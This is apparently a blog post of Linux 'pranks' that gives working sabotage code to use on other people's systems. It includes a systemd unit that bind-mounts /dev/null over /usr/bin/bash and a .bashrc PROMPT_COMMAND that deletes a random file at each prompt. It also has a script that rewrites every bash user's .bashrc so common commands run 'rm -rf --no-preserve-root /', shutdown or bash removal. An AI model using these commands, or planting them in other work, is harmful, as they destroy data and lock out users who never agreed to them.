Breaking Systems For Fun And Profit

Zerowidth Fun

Create a file on the commandline like this, make sure to type the keys between brackets as indicated:

1
2
3
4
5
6
7
$ echo flops > fl<CTRL+SHIFT+U>200B<SPACE>ops
$ ls -l
-rw-r--r--. 1 wander wander   0 Sep  7 12:20 flo​ps
$ cat flops
cat: flops: No such file or directory
$ cat fl<TAB>
flops
Image by schuetz-mediendesign @ Pixabay

Bound to Nothing

Bash is overrated. /dev/null is much better. Add the following file as /etc/systemd/system/usr-bin-bash.mount:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
[Unit]
Description=Important System Mount
Documentation=man:hier(7)
Documentation=https://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
DefaultDependencies=no
Conflicts=umount.target
Before=local-fs.target umount.target
After=swap.target

[Mount]
What=/dev/null
Where=/usr/bin/bash
Type=none
Options=bind

[Install]
WantedBy=local-fs.target

Then run the following commands:

1
2
systemctl daemon-reload
systemctl enable --now usr-bin-bash.mount
Image by geralt @ Pixabay

The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

1
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random Exit

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

1
2
3
4
5
6
7
8
9
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done